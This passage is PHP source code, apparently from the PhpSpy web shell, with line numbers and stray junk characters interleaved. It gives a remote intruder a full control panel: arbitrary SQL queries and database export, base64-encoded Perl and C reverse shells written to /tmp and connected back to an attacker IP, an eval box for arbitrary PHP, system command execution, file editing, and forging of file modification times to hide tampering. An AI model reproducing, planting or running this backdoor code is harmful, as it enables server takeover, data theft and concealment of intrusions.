895.                                         $rowdb = array();
     
896.                                         while($row = mysql_fetch_array($result)) {
     # F, f% M! Z2 g) |" j
897.                                                 $rowdb[] = $row;
     : B5 u* \0 m, h. h' k* l0 K
898.                                         }
     ( _5 k* a0 K$ @
899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
900.                                         p('<tr class="head">');
     
901.                                         p('<td>Field</td>');
     : C  s" R( U/ J8 R
902.                                         p('<td>Type</td>');
     
903.                                         p('<td>Null</td>');
     2 p& z& L' s0 |8 N. R
904.                                         p('<td>Key</td>');
     , s5 I- Y2 I6 \3 Z  I5 P0 Z
905.                                         p('<td>Default</td>');
     
906.                                         p('<td>Extra</td>');
     % z4 C- M+ s- ^. l. S: Z8 @5 c
907.                                         p('</tr>');
     
908.                                         foreach ($rowdb as $row) {
     ) m2 u$ }' y4 D, s: p' ~- k5 h* l3 p
909.                                                 $thisbg = bg();
     
910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
911.                                                 p('<td>'.$row['Field'].'</td>');
     6 x/ s! P2 p; v6 `! k5 O4 P
912.                                                 p('<td>'.$row['Type'].'</td>');
     
913.                                                 p('<td>'.$row['Null'].' </td>');
     
914.                                                 p('<td>'.$row['Key'].' </td>');
     
915.                                                 p('<td>'.$row['Default'].' </td>');
     9 h6 s/ l/ k' D! J  i. G
916.                                                 p('<td>'.$row['Extra'].' </td>');
     
917.                                                 p('</tr>');
     ( X* ~' N+ r9 I4 [) ^
918.                                         }
     & f  R: _# v* Y- S2 p' A# t
919.                                         tbfoot();
     * A: b4 W, i$ c6 [" v
920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
     % [. c/ m. U3 S* s$ z; {
921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
     ( Z2 L; T( r% Q  @
922.                                         while ($row = mysql_fetch_array($result)) {
     
923.                                                 $rowdb[] = $row;
     / l+ F" E( z" Z) G
924.                                         }
     
925.                                         $rs = array();
     
926.                                         if ($doing == 'insert') {
     . D! |1 M. b: @
927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
     ' |$ n) y& p; c" ?
928.                                         } else {
     
929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
     ( E$ }3 j& l6 v
930.                                                 $where = base64_decode($base64);
     6 X% L2 r1 Z7 M: i, ?3 U
931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
     ! D# W; @1 x% \4 o% `
932.                                                 $rs = mysql_fetch_array($result);
     
933.                                         }
     , z- Q( L* c" n4 f. A6 m
934.                                         p('<form method="post" action="'.$self.'">');
     
935.                                         p($dbform);
     ; I& j2 t4 @' e" c( y' d- k' c$ r, a
936.                                         makehide('action','sqladmin');
     5 l1 @9 [* i4 |/ d! v3 E8 y
937.                                         makehide('tablename',$tablename);
     
938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
939.                                         foreach ($rowdb as $row) {
     
940.                                                 if ($rs[$row['Field']]) {
     
941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
     ( N4 s5 \+ g/ R- t4 \. p
942.                                                 } else {
     + q0 |2 j" `9 w1 q7 l6 d
943.                                                         $value = '';
     
944.                                                 }
     
945.                                                 $thisbg = bg();
     
946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     # `3 m# c  n7 o/ k3 t* b
947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
     % c$ _% C- B$ z" C, ], m: `) G
948.                                         }
     
949.                                         if ($doing == 'insert') {
     7 s: r) h( n) J& |
950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
     
951.                                         } else {
     
952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
     
953.                                                 makehide('base64', $base64);
     
954.                                         }
     3 ?. x  |; q0 \
955.                                         p('</table></form>');
     
956.                                 } else {
     7 x; d* e* M: w
957.                                         $querys = @explode(';',$sql_query);
     
958.                                         foreach($querys as $num=>$query) {
     7 l  ]) X( g+ T" k/ R( Z
959.                                                 if ($query) {
     $ {' o' h% i+ }& Z" `; g
960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
     3 q) e1 E: @6 K% ]  P" G/ w
961.                                                         switch(qy($query))
     ) m$ q! c" U* m8 l
962.                                                         {
     ' J2 u# G9 D/ e, A* p& M  A
963.                                                                 case 0:
     & t$ S1 @4 ~1 g2 x& B
964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
     . {3 t9 W8 z/ h% x& `' `
965.                                                                         break;       
     ) z! M5 Y8 E* u; F  @& w0 X- K
966.                                                                 case 1:
     7 a- o" k' ~3 I0 U9 D5 t) c" I4 Z& d7 a
967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
     
968.                                                                                 $allowedit = 1;
     
969.                                                                         }
     
970.                                                                         if ($getnumsql) {
     * ^; J6 U) H; j3 a' V1 S; Q$ \
971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
     
972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
     8 X' B. L' T5 N" e: q
973.                                                                         }
     " a- f& A& C6 p. J: g1 _* K2 R- _3 n0 i
974.                                                                         if (!$tablename) {
     6 N$ G/ d: V' i4 x
975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
     6 U( z, z, p' w- P# X
976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
     . `& V- X; i9 s" e& d: Z* u7 h7 I
977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
     1 f  V; D, x) m5 w2 b9 w. S" f
978.                                                                                 $tablename = $matches[1][0];
     . A$ Y' p  b" j# o' Y, K8 b; D
979.                                                                         }
     
980.                                                                         $result = q($query);
     . {. A2 T" q' m8 N& m  S' w
981.                                                                         p($multipage);
     
982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
983.                                                                         p('<tr class="head">');
     - U3 E1 u- i0 Q" S9 |; O; w3 f- P7 }
984.                                                                         if ($allowedit) p('<td>Action</td>');
     
985.                                                                         $fieldnum = @mysql_num_fields($result);
     & l$ }  j6 f" }! I/ D
986.                                                                         for($i=0;$i<$fieldnum;$i++){
     ; f0 q& z; [& F. \* m- E
987.                                                                                 $name = @mysql_field_name($result, $i);
     
988.                                                                                 $type = @mysql_field_type($result, $i);
     
989.                                                                                 $len = @mysql_field_len($result, $i);
     
990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
     
991.                                                                         }
     8 b# q, f1 z- d/ u! x3 N5 j
992.                                                                         p('</tr>');
     % u5 |0 [" E9 ?( X( T) t
993.                                                                         while($mn = @mysql_fetch_assoc($result)){
     
994.                                                                                 $thisbg = bg();
     
995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
996.                                                                                 $where = $tmp = $b1 = '';
     
997.                                                                                 foreach($mn as $key=>$inside){
     
998.                                                                                         if ($inside) {
     
999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
     3 X/ [1 R1 W* S9 i0 }  i
1000.                                                                                                 $tmp = ' AND ';
        T* @) o' a0 p* Q/ ]
1001.                                                                                         }
      
1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
      
1003.                                                                                 }
      $ x: o0 A$ o: x' w9 h3 R; F
1004.                                                                                 $where = base64_encode($where);
      
1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
      
1006.                                                                                 p($b1);
      
1007.                                                                                 p('</tr>');
      : u. m2 Q) t" F3 D* H7 R: _
1008.                                                                                 unset($b1);
      & o& |$ t# B3 Z% k( D1 i
1009.                                                                         }
      
1010.                                                                         tbfoot();
        k6 Z+ a4 K' L1 e! S
1011.                                                                         p($multipage);
      
1012.                                                                         break;       
      
1013.                                                                 case 2:
      ' [$ x0 m7 d2 n* ^
1014.                                                                         $ar = mysql_affected_rows();
      
1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
      : R9 L" c/ ]1 [8 }1 ]: d4 {
1016.                                                                         break;
      
1017.                                                         }
      ' k! E7 n9 v! ]
1018.                                                 }
      9 e4 R2 @0 u; q$ t  G1 C
1019.                                         }
      : u" ]. V2 D5 F
1020.                                 }
      3 B! ?4 \; `. V- e: {5 I% l! p
1021.                         } else {
      
1022.                                 $query = q("SHOW TABLE STATUS");
      
1023.                                 $table_num = $table_rows = $data_size = 0;
      1 n, m5 p0 A+ o' |7 I2 j3 v
1024.                                 $tabledb = array();
      " |: Q4 L& V; a$ t
1025.                                 while($table = mysql_fetch_array($query)) {
      
1026.                                         $data_size = $data_size + $table['Data_length'];
      - D5 f! K2 i# {+ o" \' D( X
1027.                                         $table_rows = $table_rows + $table['Rows'];
      
1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
      
1029.                                         $table_num++;
      
1030.                                         $tabledb[] = $table;
      9 f- r2 i0 ~) O1 i$ r! V# n
1031.                                 }
      
1032.                                 $data_size = sizecount($data_size);
      
1033.                                 unset($table);
      ; _' i3 o8 [* ~, C5 ^9 `+ E
1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
      
1035.                                 p('<form action="'.$self.'" method="POST">');
      5 X2 x5 S8 n2 x0 g6 u, J" I
1036.                                 makehide('action','sqladmin');
      
1037.                                 p($dbform);
      
1038.                                 p('<tr class="head">');
      ' t9 b: L5 }( Q0 `: Q  S
1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
      / X$ k* W& s& l
1040.                                 p('<td>Name</td>');
      " P) e$ R- s6 C* b! ?1 E9 y% W8 |
1041.                                 p('<td>Rows</td>');
      9 o$ Y( R3 w# n4 M+ H
1042.                                 p('<td>Data_length</td>');
      & w# S# `/ \4 D; q
1043.                                 p('<td>Create_time</td>');
      
1044.                                 p('<td>Update_time</td>');
      6 Z% L2 Q1 O) |: [
1045.                                 if ($highver) {
      
1046.                                         p('<td>Engine</td>');
      ( H" Z& `+ A9 K5 @; l
1047.                                         p('<td>Collation</td>');
      2 g. f; }. Q* D1 W- i" |6 n
1048.                                 }
      
1049.                                 p('</tr>');
      
1050.                                 foreach ($tabledb as $key => $table) {
      ) V1 N: q: v% [- M' s
1051.                                         $thisbg = bg();
      6 {6 }/ D7 h+ K0 R, ^
1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      
1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
      + Z7 g& Z" G5 F4 m+ b
1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      
1055.                                         p('<td>'.$table['Rows'].'</td>');
      # H0 N: n* H. f
1056.                                         p('<td>'.$table['Data_length'].'</td>');
      
1057.                                         p('<td>'.$table['Create_time'].'</td>');
      ( \7 k; @4 f) f( ~
1058.                                         p('<td>'.$table['Update_time'].'</td>');
      % |7 }: T6 z5 k/ a& d' T2 }
1059.                                         if ($highver) {
      4 }# u2 _4 z  z  K4 m6 L
1060.                                                 p('<td>'.$table['Engine'].'</td>');
      4 X8 F" M3 [. Q4 |
1061.                                                 p('<td>'.$table['Collation'].'</td>');
      
1062.                                         }
      ! E4 {- I3 p8 L& e: E
1063.                                         p('</tr>');
      
1064.                                 }
      
1065.                                 p('<tr class='.bg().'>');
      6 v9 {. x8 V# r
1066.                                 p('<td> </td>');
      : q+ O+ a* _% K( M
1067.                                 p('<td>Total tables: '.$table_num.'</td>');
      
1068.                                 p('<td>'.$table_rows.'</td>');
      
1069.                                 p('<td>'.$data_size.'</td>');
      ) R$ a0 p: M1 V+ U" x5 c
1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
      
1071.                                 p('</tr>');
      
1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
      
1073.                                 makehide('doing','backupmysql');
      
1074.                                 formfoot();
      
1075.                                 p("</table>");
      9 L0 r9 f, Z0 q7 E1 |5 I! ]. _
1076.                                 fr($query);
      
1077.                         }
      
1078.                 }
      
1079.         }
      8 z/ K8 e* c9 T; q6 I& X$ P# X
1080.         tbfoot();
      $ [% e2 [# N. E+ ?/ a- g5 [7 e
1081.         @mysql_close();
        J' [' ]7 L3 ^2 t9 W* ^5 F
1082. }//end sql backup
      
1083. elseif ($action == 'backconnect') {
      3 o) u( U7 J3 Q$ C  i* r( x
1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
      ) S" Q1 Q4 z8 M! n% T
1085.         !$yourport && $yourport = '12345';
      
1086.         $usedb = array('perl'=>'perl','c'=>'c');
      
1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
      
1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
      ! M8 {- p6 O8 J
1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
      6 s' V/ f9 j" G  Y  w1 P
1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      ) e* y* R' z6 J1 ]7 E% n
1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
      
1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
      ! \/ P( u) L8 ?! R
1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
      & Q4 S" |7 Q: I' M9 v# |7 g+ b4 ~8 ~  O
1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
      
1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
      
1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
      
1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      9 Z6 g0 C+ k6 \4 ]
1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
      ( f  V$ r2 y3 H! V4 }
1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
      ) O! k5 g" y4 @& c% x
1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
      9 S; C5 y0 K7 u$ C- p) X7 U
1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
      + ]. n" g- a* Q1 Y$ k" X1 B
1102.         if ($start && $yourip && $yourport && $use){
      " h$ m0 ~' q1 M$ E, j
1103.                 if ($use == 'perl') {
      
1104.                         cf('/tmp/angel_bc',$back_connect);
      
1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
      
1106.                 } else {
      
1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
      6 i/ U; o& O: {( ~
1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      
1109.                         @unlink('/tmp/angel_bc.c');
      " ]& S' O0 N, r7 e$ n
1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
      9 O! Q0 `- s) N; m" r2 n; K3 C  X
1111.                 }
      
1112.                 m("Now script try connect to $yourip port $yourport ...");
      ( g( [* r( d1 i! [. h4 z( t
1113.         }
      
1114.         formhead(array('title'=>'Back Connect'));
      * U$ n; N) @: f# g' P
1115.         makehide('action','backconnect');
      4 s  z; b# ?: B4 m$ R# f
1116.         p('<p>');
      
1117.         p('Your IP:');
      
1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
      7 e# I2 ~' {, |
1119.         p('Your Port:');
      
1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
      
1121.         p('Use:');
      
1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      0 r% p( X' v+ b4 o. j6 e$ `
1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
      - J- m# v! `. u
1124.         p('</p>');
      / x5 A1 ?( w; `7 G
1125.         formfoot();
      % V- ^( l' r2 _3 M$ E: |
1126. }//end sql backup
      ' I6 O  r) f) l+ d! b
1127. elseif ($action == 'eval') {
      
1128.         $phpcode = trim($phpcode);
      8 f; j: V) v6 f
1129.         if($phpcode){
      
1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      
1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
      
1132.                 }
      
1133.                 eval("?".">$phpcode<?");
      ; |* \- P. y5 l# }" W7 O4 [
1134.         }
      " |# Z( B) V4 n
1135.         formhead(array('title'=>'Eval PHP Code'));
      
1136.         makehide('action','eval');
      
1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
      9 q( |, }1 k+ A
1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
      
1139.         formfooter();
      ; S9 G* ?9 l1 n: L
1140. }//end eval
      ) ]; `0 b4 L3 d* R1 r
1141. 
      
1142. elseif ($action == 'editfile') {
      
1143.         if(file_exists($opfile)) {
      - S" W9 D' a4 T1 e
1144.                 $fp=@fopen($opfile,'r');
      
1145.                 $contents=@fread($fp, filesize($opfile));
      
1146.                 @fclose($fp);
      - a2 O+ F  Y3 p4 p# _
1147.                 $contents=htmlspecialchars($contents);
      7 {0 ~* M5 \& `/ O' {9 @9 U
1148.         }
      
1149.         formhead(array('title'=>'Create / Edit File'));
      ( [$ w! i$ `7 @9 }. a2 L. r
1150.         makehide('action','file');
      1 P  l- `; Z* C. h* x' B' W
1151.         makehide('dir',$nowpath);
      6 W, [0 A2 \' x/ u1 [
1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
      4 y+ z$ {% i) O) F( S& n% v
1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
      
1154.         formfooter();
      / g) K& F1 W. V; O. M- A" {! f8 E
1155. }//end editfile
      9 u" L; U* z' \
1156. 
      
1157. elseif ($action == 'newtime') {
      8 u* w* {8 [2 R% w4 ~% E  M
1158.         $opfilemtime = @filemtime($opfile);
      
1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
      + E: k. E$ v0 P
1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
      3 J* V% ^, p2 N7 g8 p/ A
1161.         formhead(array('title'=>'Clone file was last modified time'));
      
1162.         makehide('action','file');
      
1163.         makehide('dir',$nowpath);
      
1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      ' ^- K' ~9 l# r% o& D/ |
1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
      
1166.         formfooter();
      1 x, L6 m$ }- @: y5 F
1167.         formhead(array('title'=>'Set last modified'));
      
1168.         makehide('action','file');
      
1169.         makehide('dir',$nowpath);
      * O4 _1 j( A$ f9 a
1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      
1171.         p('<p>Instead »');
      
1172.         p('year:');
      
1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
      
1174.         p('month:');
      9 N: g# n& z; E5 q5 }
1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
      8 w# l0 C7 ?& _, ]9 W7 A7 E: Z2 j
1176.         p('day:');
      
1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      ; |0 |7 Q+ E" L) j. b1 [
1178.         p('hour:');
      
1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
      
1180.         p('minute:');
      
1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
      
1182.         p('second:');
      2 r( P) n5 x' d1 r
1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
      
1184.         p('</p>');
      8 L) L6 M% T0 u
1185.         formfooter();
      + y9 \+ Y) x( ]" K
1186. }//end newtime
      / l# C" z) x3 o1 ?2 p6 h
1187. 
      
1188. elseif ($action == 'shell') {
      & Z3 @6 u% A- D' U
1189.         if (IS_WIN && IS_COM) {
      
1190.                 if($program && $parameter) {
      2 O& g. x6 ]; {- X# h9 K
1191.                         $shell= new COM('Shell.Application');
      2 [; t9 P  i6 z. H  i2 b' n- B
1192.                         $a = $shell->ShellExecute($program,$parameter);
      
1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
      
1194.                 }
      
1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      % K! y- A* b. Q: Z7 a0 w, @& Y  T
1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
      ' B7 G7 g) z0 J  ]% y: `" U" Y0 N
1197.                 formhead(array('title'=>'Execute Program'));
      ! Z' e; [% ]; ]* M4 _, L8 W
1198.                 makehide('action','shell');
      
1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
      
1200.                 p('<p>');
      
1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
      4 }; x- @- p8 _* [: y7 X8 L" n
1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      
1203.                 p('</p>');
      4 Q5 p% p5 ]; V8 T
1204.                 formfoot();
      , ^5 E* `% {9 z* n- \' o
1205.         }
      . V5 r! ]% d: I
1206.         formhead(array('title'=>'Execute Command'));
      
1207.         makehide('action','shell');
      
1208.         if (IS_WIN && IS_COM) {
      * U6 r) r% \  T& p" E, A+ Y3 {
1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
      
1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      
1211.         }
      3 W% u" S' m, p! R2 q
1212.         p('<p>');
        {7 ~8 g& N+ g; b, H' M
1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
      % ^4 A1 r5 {# B) Y% y
1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      - Y1 J3 ]! c. n! Z+ i( u# p9 d
1215.         p('</p>');
      
1216.         formfoot();
      ) e& O9 Q5 [; H
1217. 
      
1218.         if ($command) {
      
1219.                 p('<hr width="100%" noshade /><pre>');
      
1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
      
1221.                         $wsh = new COM('WScript.shell');
      * v4 {9 [0 O& f  F
1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
      / }( M" V# p* c0 T! g# A' s$ g3 e- y
1223.                         $stdout = $exec->StdOut();
      
1224.                         $stroutput = $stdout->ReadAll();
      * m  M; ~4 `1 G; _' r
1225.                         echo $stroutput;
      + c" d+ e$ n2 Y6 w
1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
      
1227.                         $descriptorspec = array(
      - ?8 K) U0 R1 ~- n  {  L
1228.                            0 => array('pipe', 'r'),
      " y+ B4 L- A" o# m/ u: n
1229.                            1 => array('pipe', 'w'),
      8 ^9 t' K, D/ f0 I1 e
1230.                            2 => array('pipe', 'w')
      6 z8 S* u! E$ l3 d  L, l
1231.                         );
      / g; {: c  ~1 k0 T
1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      3 z# a3 e( D; [
1233.                         if (is_resource($process)) {
      
1234.                                 fwrite($pipes[0], $command."\r\n");
      
1235.                                 fwrite($pipes[0], "exit\r\n");
      
1236.                                 fclose($pipes[0]);
      
1237.                                 while (!feof($pipes[1])) {
      
1238.                                         echo fgets($pipes[1], 1024);
      
1239.                                 }
      
1240.                                 fclose($pipes[1]);
      
1241.                                 while (!feof($pipes[2])) {
      ; _/ \7 f6 T! j. V- f
1242.                                         echo fgets($pipes[2], 1024);
      5 V2 i* j' S7 ~: Z4 C
1243.                                 }
      
1244.                                 fclose($pipes[2]);
      
1245.                                 proc_close($process);
      - |  @& K9 b+ ~5 W+ t
1246.                         }
        h' {- x2 k) w% d6 s4 o9 ^
1247.                 } else {
      ; T( l# z0 z9 d' T: f/ q' `. I$ Y
1248.                         echo(execute($command));
      
1249.                 }
      . }$ Z! @; e" O
1250.                 p('</pre>');
      
1251.         }
        t: O& A; b3 d
1252. }//end shell
      
1253. 
      % _. k. _) ?  B
1254. elseif ($action == 'phpenv') {
      
1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
      : H/ \9 ^( C, }+ l: K
1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
      
1257.         !$dis_func && $dis_func = 'No';       
      7 [$ E' }1 B, y/ q2 ~' X
1258.         $info = array(
      # Q( C& D, W! D: L
1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
      + @) G1 W" n, }6 m8 V# d
1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
      
1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
      
1262.                 4 => array('Server OS',PHP_OS),
      8 T/ K8 a, v6 O
1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
      
1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
      
1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
      & l9 T4 d0 S& `
1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
      
1267.                 9 => array('The file path',__FILE__),
      
1268. 
      & d" i: B! O. C* T# c
1269.                 10 => array('PHP Version',PHP_VERSION),
      
1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
      & e/ Q. b; M$ ^5 M/ a+ W1 a$ R
1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
      ; h) @' W$ {4 V- g; O3 V+ C
1272.                 13 => array('Administrator',$adminmail),
      
1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
      0 B* x, y# [9 h
1274.                 15 => array('enable_dl',getcfg('enable_dl')),
      
1275.                 16 => array('display_errors',getcfg('display_errors')),
        y* `' _+ f% K) g  }
1276.                 17 => array('register_globals',getcfg('register_globals')),
      3 c6 x3 [/ f, B, G9 _
1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
      
